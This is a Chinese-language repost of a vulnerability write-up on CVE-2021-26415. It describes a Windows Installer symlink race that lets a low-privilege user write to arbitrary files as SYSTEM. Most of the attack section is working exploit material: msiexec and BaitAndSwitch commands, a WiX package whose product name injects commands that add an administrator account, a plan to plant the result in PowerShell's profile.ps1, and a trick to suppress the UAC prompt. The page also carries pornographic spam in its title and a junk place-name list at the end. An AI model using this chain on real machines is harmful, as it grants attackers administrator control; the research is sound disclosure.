亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行Windows Installer任意文件寫入提權漏洞CVE-2021-26415分析

發布時間:2021-12-29 16:43:22 來源:億速云 閱讀:196 作者:柒染 欄目:安全技術

這期內容當中小編將會給大家帶來有關如何進行Windows Installer任意文件寫入提權漏洞CVE-2021-26415分析,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

CVE IDCVE-2021-26415
CVSS評分7.3, (AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H)
受影響的供應商微軟
受影響的產品Windows
漏洞詳情此漏洞使本地攻擊者可以將數據寫入受影響的Microsoft Windows安裝上的任意文件。攻擊者必須首先獲得在目標系統上執行低特權代碼的能力,以利用此漏洞。Windows Installer服務中存在特定缺陷。造成此問題的原因是,在文件操作中使用用戶提供的路徑之前,沒有對其進行正確的驗證。攻擊者可以利用此漏洞來升級特權,并在管理員的上下文中執行任意代碼。
額外細節Microsoft已發布更新來糾正此漏洞。可以在以下位置找到更多詳細信息:msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26415
披露時間表2020-12-16-向供應商報告了漏洞
2021-04-15-協調公開發布的咨詢

*本文中涉及到的相關漏洞已報送廠商并得到修復,本文僅限技術研究與討論,嚴禁用于非法用途,否則產生的一切后果自行承擔。

這是一個影響Windows Installer組件的本地特權升級(LPE)漏洞。它基于TOCTOU和使用符號鏈接的文件系統攻擊。該問題導致寫入具有LocalSystem特權和對內容的部分控制的任意文件。我找不到能完全控制內容的向量(以替換DLL文件內容等),但即使是部分控制也足以將任意PowerShell命令注入默認配置文件,并在管理員帳戶或計劃好的時間提升特權任務運行PowerShell控制臺。

我將Windows 10和2019 Server的問題報告為0day,但根據通報,該問題也影響其他系統:8.1、7、2012、2016、2008。古代系統也可能易受攻擊。

技術細節

Windows安裝程序

msiexec系統二進制用于安裝從MSI格式(Windows安裝程序包)應用程序。它不僅是PE文件的別稱,而且格式稍微復雜一些。的典型用法msiexec要求具有管理權限,但是也有例外。例如,該/f開關可由非特權用戶用來執行修復操作。此操作通常可以在沒有任何管理員權限的情況下執行。過去,此開關已用于多種LPE攻擊中-易受攻擊的組件通常是MSI程序包本身。通常,要查找此類MSI,我只需轉到C:\Windows\Installer目錄并從那里開始。這次,我們將僅選擇一個現有文件并將其用于攻擊操作系統本身。二手的安裝程序(148d3c4.msi)是我在系統上發現的一些隨機DropBox MSI。

如何進行Windows Installer任意文件寫入提權漏洞CVE-2021-26415分析

如果/L提供了選件,則可以通過記錄來擴展修復操作。該msiexec會記錄一些信息到一個尖端的文件。讓我們使用procmon來查看普通用戶執行以下命令會發生什么情況:

msiexec /f C:\Windows\Installer\148d3c4.msi /L C:\temp\foo.log

如何進行Windows Installer任意文件寫入提權漏洞CVE-2021-26415分析

在上圖中,您可以看到已配置的過濾器和突出顯示。這有助于從視覺上區分在系統完整性級別上運行但模擬普通用戶和使用全部功能的用戶之間的操作。例如,對指向文件的初始CreateFile操作使用模擬。該過程不會打開我們無法訪問的任何內容。我們不能僅僅指向其他文件(例如C:\Windows\win.ini)并依靠提升的訪問權限。它不會起作用,從LPE的角度來看,這沒什么有趣的。

在下面的幾行中,再次使用完整的LocalSystem令牌再次處理文件,但這一次。也許只有對文件的初始訪問受到保護?我們可以使用符號鏈接進行測試。

符號鏈接攻擊

我不會詳細介紹符號鏈接,如果您不熟悉此概念,請查看有關Windows特權文件操作濫用的出色介紹。

在詹姆斯·福肖的符號鏈接工具包是一個事實上的標準,利用等問題。特別是,BaitAndSwitch.exe應用程序會執行此處所需的所有操作-捕獲oplock中的初始文件檢查,然后將鏈接從原始文件更改為其他位置-目標文件。初始權限檢查會驗證對安全文件的訪問,但是接下來將對另一個文件(現在由相同的符號鏈接指向)執行讀/寫操作。這是典型的TOCTOU問題。在這種情況下使用的那種符號鏈接不需要任何特殊的訪問權限-任何無特權的用戶都可以創建一個。

讓我們執行以下命令:

BaitAndSwitch.exe C:\temp\linkdir\link C:\temp\foo.log C:\foo.log
msiexec /f C:\Windows\Installer\148d3c4.msi /L C:\temp\linkdir\link

如何進行Windows Installer任意文件寫入提權漏洞CVE-2021-26415分析

這是初始文件訪問,物料清單(BOM)字符是從中等完整性線程寫入的-它還會驗證對文件的訪問權限。確認后,將觸發BaitAndSwitch并更改指向的位置。

如何進行Windows Installer任意文件寫入提權漏洞CVE-2021-26415分析

你看到了嗎?符號鏈接已經切換到新的目標(C:\foo.log),并且在模擬下進行了一堆操作之后,就從LocalSystem創建了一個CreateFile。再進行幾次操作后,文件將關閉并最終保存在磁盤上。

如何進行Windows Installer任意文件寫入提權漏洞CVE-2021-26415分析

該文件遵循現有的訪問權限規則-沒有提供額外的權限,但是我們只是證明了任意寫入。里面有什么?

MSI (s) (AC:34) [16:14:11:665]: Product: Dropbox Update Helper -- Configuration completed successfully.

MSI (s) (AC:34) [16:14:11:665]: Windows Installer reconfigured the product. Product Name: Dropbox Update Helper. Product Version: 1.3.415.1. Product Language: 1033. Manufacturer: Dropbox, Inc.. Reconfiguration success or error status: 0.

嗯 真沒用。我們可能會覆蓋重要文件,但不會直接提升特權。我們將不得不為此而努力。

部分內容控制

此時,我開始檢查所返回的標志msiexec /h。也許有可能獲得對書面數據的全部或至少部分控制權?

日志記錄選項參數中有一些不錯的候選者:

/fp添加了終端屬性,其中一些絕對由我控制,因為它們來自用戶可寫的注冊表配置單元或環境變量。例如,看怎么注入; notepad.exe ;到%APPDATA%變量。

=== Logging started: 4/15/2021  20:18:09 ===
Property(S): UpdateDir = C:\Program Files (x86)\Dropbox\Update\
Property(S): DropboxProgramDir = C:\Program Files (x86)\Dropbox\
Property(S): ProgramFilesFolder = C:\Program Files (x86)\
Property(S): TARGETDIR = C:\
Property(S): ALLUSERS = 1
Property(S): ARPSYSTEMCOMPONENT = 1
Property(S): DISABLEROLLBACK = 1
Property(S): Manufacturer = Dropbox, Inc.
Property(S): ProductCode = {099218A5-A723-43DC-8DB5-6173656A1E94}
Property(S): ProductLanguage = 1033
Property(S): ProductName = Dropbox Update Helper
Property(S): ProductVersion = 1.3.415.1
Property(S): UpgradeCode = {C7A2CC6E-044B-4A2C-BD1E-E75EAD2C11B0}
Property(S): MsiLogFileLocation = C:\temp\log.txt
Property(S): PackageCode = {E42CA6BD-944C-4847-A481-D150906EC78E}
Property(S): ProductState = 5
Property(S): ProductToBeRegistered = 1
Property(S): RestrictedUserControl = 1
Property(S): REINSTALL = ALL
Property(S): REINSTALLMODE = pecms
Property(S): CURRENTDIRECTORY = C:\Users\lowpriv
Property(S): CLIENTUILEVEL = 2
Property(S): CLIENTPROCESSID = 12412
Property(S): MsiSystemRebootPending = 1
Property(S): PRODUCTLANGUAGE = 1033
Property(S): VersionDatabase = 300
Property(S): VersionMsi = 5.00
Property(S): VersionNT = 603
Property(S): VersionNT64 = 603
Property(S): WindowsBuild = 9600
Property(S): ServicePackLevel = 0
Property(S): ServicePackLevelMinor = 0
Property(S): MsiNTProductType = 1
Property(S): WindowsFolder = C:\WINDOWS\
Property(S): WindowsVolume = C:\
Property(S): System64Folder = C:\WINDOWS\system32\
Property(S): SystemFolder = C:\WINDOWS\SysWOW64\
Property(S): RemoteAdminTS = 1
Property(S): TempFolder = C:\Users\lowpriv\AppData\Local\Temp\
Property(S): CommonFilesFolder = C:\Program Files (x86)\Common Files\
Property(S): ProgramFiles64Folder = C:\Program Files\
Property(S): CommonFiles64Folder = C:\Program Files\Common Files\
Property(S): AppDataFolder = C:\Users\lowpriv\AppData\Roaming ; notepad.exe ;\
Property(S): FavoritesFolder = C:\Users\lowpriv\Favorites\
Property(S): NetHoodFolder = C:\Users\lowpriv\AppData\Roaming\Microsoft\Windows\Network Shortcuts\
Property(S): PersonalFolder = C:\Users\lowpriv\Documents\
Property(S): PrintHoodFolder = C:\Users\lowpriv\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\
Property(S): RecentFolder = C:\Users\lowpriv\AppData\Roaming\Microsoft\Windows\Recent\
Property(S): SendToFolder = C:\Users\lowpriv\AppData\Roaming\Microsoft\Windows\SendTo\
Property(S): TemplateFolder = C:\ProgramData\Microsoft\Windows\Templates\
Property(S): CommonAppDataFolder = C:\ProgramData\
Property(S): LocalAppDataFolder = C:\Users\lowpriv\AppData\Local\
Property(S): MyPicturesFolder = C:\Users\lowpriv\Pictures\
Property(S): AdminToolsFolder = C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Administrative Tools\
Property(S): StartupFolder = C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\
Property(S): ProgramMenuFolder = C:\ProgramData\Microsoft\Windows\Start Menu\Programs\
Property(S): StartMenuFolder = C:\ProgramData\Microsoft\Windows\Start Menu\
Property(S): DesktopFolder = C:\Users\Public\Desktop\
Property(S): FontsFolder = C:\WINDOWS\Fonts\
Property(S): GPTSupport = 1
Property(S): OLEAdvtSupport = 1
Property(S): ShellAdvtSupport = 1
Property(S): MsiAMD64 = 6
Property(S): Msix64 = 6
Property(S): Intel = 6
Property(S): PhysicalMemory = 5687
Property(S): VirtualMemory = 2713
Property(S): LogonUser = lowpriv
Property(S): UserSID = S-1-5-21-2746136434-3241333796-1554539884-1002
Property(S): UserLanguageID = 1033
Property(S): ComputerName = DESKTOP-OMNIO40
Property(S): SystemLanguageID = 1033
Property(S): ScreenX = 1024
Property(S): ScreenY = 768
Property(S): CaptionHeight = 19
Property(S): BorderTop = 1
Property(S): BorderSide = 1
Property(S): TextHeight = 16
Property(S): TextInternalLeading = 3
Property(S): ColorBits = 32
Property(S): TTCSupport = 1
Property(S): Time = 20:18:09
Property(S): Date = 4/15/2021
Property(S): MsiNetAssemblySupport = 4.8.4084.0
Property(S): MsiWin32AssemblySupport = 6.3.19041.1
Property(S): RedirectedDllSupport = 2
Property(S): AdminUser = 1
Property(S): MsiRunningElevated = 1
Property(S): Privileged = 1
Property(S): USERNAME = Adrian
Property(S): Installed = 00:00:00
Property(S): DATABASE = C:\WINDOWS\Installer\148d3c4.msi
Property(S): OriginalDatabase = C:\WINDOWS\Installer\148d3c4.msi
Property(S): RollbackDisabled = 1
Property(S): UILevel = 3
Property(S): Preselected = 1
Property(S): ACTION = INSTALL
Property(S): ROOTDRIVE = C:\
Property(S): CostingComplete = 1
Property(S): OutOfDiskSpace = 0
Property(S): OutOfNoRbDiskSpace = 0
Property(S): PrimaryVolumeSpaceAvailable = 0
Property(S): PrimaryVolumeSpaceRequired = 0
Property(S): PrimaryVolumeSpaceRemaining = 0
Property(S): INSTALLLEVEL = 1
=== Logging stopped: 4/15/2021  20:18:09 ===

如果您不明白為什么這樣做可能有用,我將在第二秒中進行解釋。現在,輸出中有很多垃圾。讓我們再努力一點。

/L+

將追加而不是覆蓋-這在某些情況下可能很有用,并且使我們能夠在不破壞整個文件的情況下測試攻擊。

/Lc

僅記錄初始UI參數。這僅導致兩行輸出,但不受攻擊者控制。

=== Logging started: 4/15/2021  20:28:50 ===
=== Logging stopped: 4/15/2021  20:28:50 ===

其他日志記錄標志沒有太大幫助,另外它們甚至導致MSI使用多個線程,并且可能導致其他問題。有些會記錄冗長的消息,有些只會記錄錯誤……也許惡意的MSI軟件包對內容有更多的控制權?聽起來是個好主意。讓我們準備一個自定義的。

制作MSI

可以使用WiX工具集制作自定義MSI軟件包。這樣,我們將控制行為以及MSI包的其他屬性。

首先,我們需要創建具有以下內容的example.wxs文件:

<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
   <Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" 

            Name="; net user FooBar P@ssw0rd /add ; net localgroup Administrators FooBar /add #" Version="0.0.1" Manufacturer="Example Company Name" Language="1033">  <Package InstallerVersion="200" Compressed="yes" Comments="Windows Installer Package"/>  <Media Id="1" Cabinet="product.cab" EmbedCab="yes"/>  <Directory Id="TARGETDIR" Name="SourceDir"> <Component Id="ApplicationFiles" Guid="12345678-1234-1234-1234-222222222222"/>  </Directory>  <Feature Id="DefaultFeature" Level="1"> <ComponentRef Id="ApplicationFiles"/>  </Feature>
   </Product>
</Wix>

注意名稱屬性。它包含注入的PowerShell命令以及“;” 分開說明。末尾的“#”用于注釋掉該行中的其余字符。稍后將更加清楚。

現在,我們可以使用candle.exe example.wxs來處理上面的定義并light example.wixobj創建example.msi包。

讓我們將其移至受攻擊的系統并重做攻擊:

msiexec /f C:\temp\example.msi /L C:\Temp\log.txt

如何進行Windows Installer任意文件寫入提權漏洞CVE-2021-26415分析

哎呀。這行不通-我們需要先安裝軟件包,這顯然需要管理員權限。讓我們甚至不從社會工程敘事開始。這是一個死胡同。

產品廣告

我決定測試其他標志-也許修復不是觸發的唯一有趣選擇。該/j<u|m> <Product.msi>選項用作將產品-m推廣給所有用戶,u推廣給當前用戶。讓我們看看它的真正作用:

BaitAndSwitch C:\temp\linkdir\link C:\temp\fakelog.txt C:\foo.log
msiexec /j example.msi /L C:\temp\linkdir\link

如何進行Windows Installer任意文件寫入提權漏洞CVE-2021-26415分析

UAC提示。因此,畢竟它必須僅是admin …但是,如果我們看一下procmon-看起來已經發生寫操作。

我們根本不需要提供任何憑證!在這一點上,我們可以安全地取消UAC-高架書寫已經發生!攻擊者控制的數據將附加到目標文件,并且我們可以執行帶有部分內容控制的任意寫入。

最后的潤色

C:\foo.log文件現在包含:

MSI (s) (58:68) [21:20:31:191]: Product: ; net user FooBar P@ssw0rd /add ; net localgroup Administrators FooBar /add # -- Advertisement failed.

我是否提到過這是UTF-16文件?好吧,是的。因此它不能轉換為cmd.exe有效負載,但是PowerShell會很樂意處理該文件。分號用于拆分命令,并使用哈希字符注釋掉其余文本。

如果您覆蓋(或創建新的)C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1,則下次管理員啟動PowerShell時將開始該操作。在其他LPE位置也很合適,但是考慮其他向量將是您的家庭作業。

我要解決的另一個問題是完全擺脫UAC提示。為此,使用了另一個開關:/t somevalue /qn-這將在寫入之后但在UAC提示之前觸發一個靜默錯誤。我們有意希望安裝程序在早期階段失敗。該/qn開關將保證沒有UI。即使沒有GUI訪問系統,也可以使有效負載可用,并且沒有任何東西阻止控制臺交互。

上述就是小編為大家分享的如何進行Windows Installer任意文件寫入提權漏洞CVE-2021-26415分析了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

台州市| 疏勒县| 武义县| 会泽县| 西贡区| 渝中区| 漳浦县| 巴林左旗| 灵石县| 孟州市| 常德市| 青浦区| 汉中市| 怀化市| 墨江| 高淳县| 拉萨市| 新平| 盱眙县| 安吉县| 上杭县| 克东县| 会昌县| 信丰县| 双辽市| 大安市| 土默特左旗| 鱼台县| 长顺县| 上高县| 山阴县| 安岳县| 潼南县| 明溪县| 秀山| 郑州市| 原平市| 西充县| 桦南县| 定边县| 凌源市|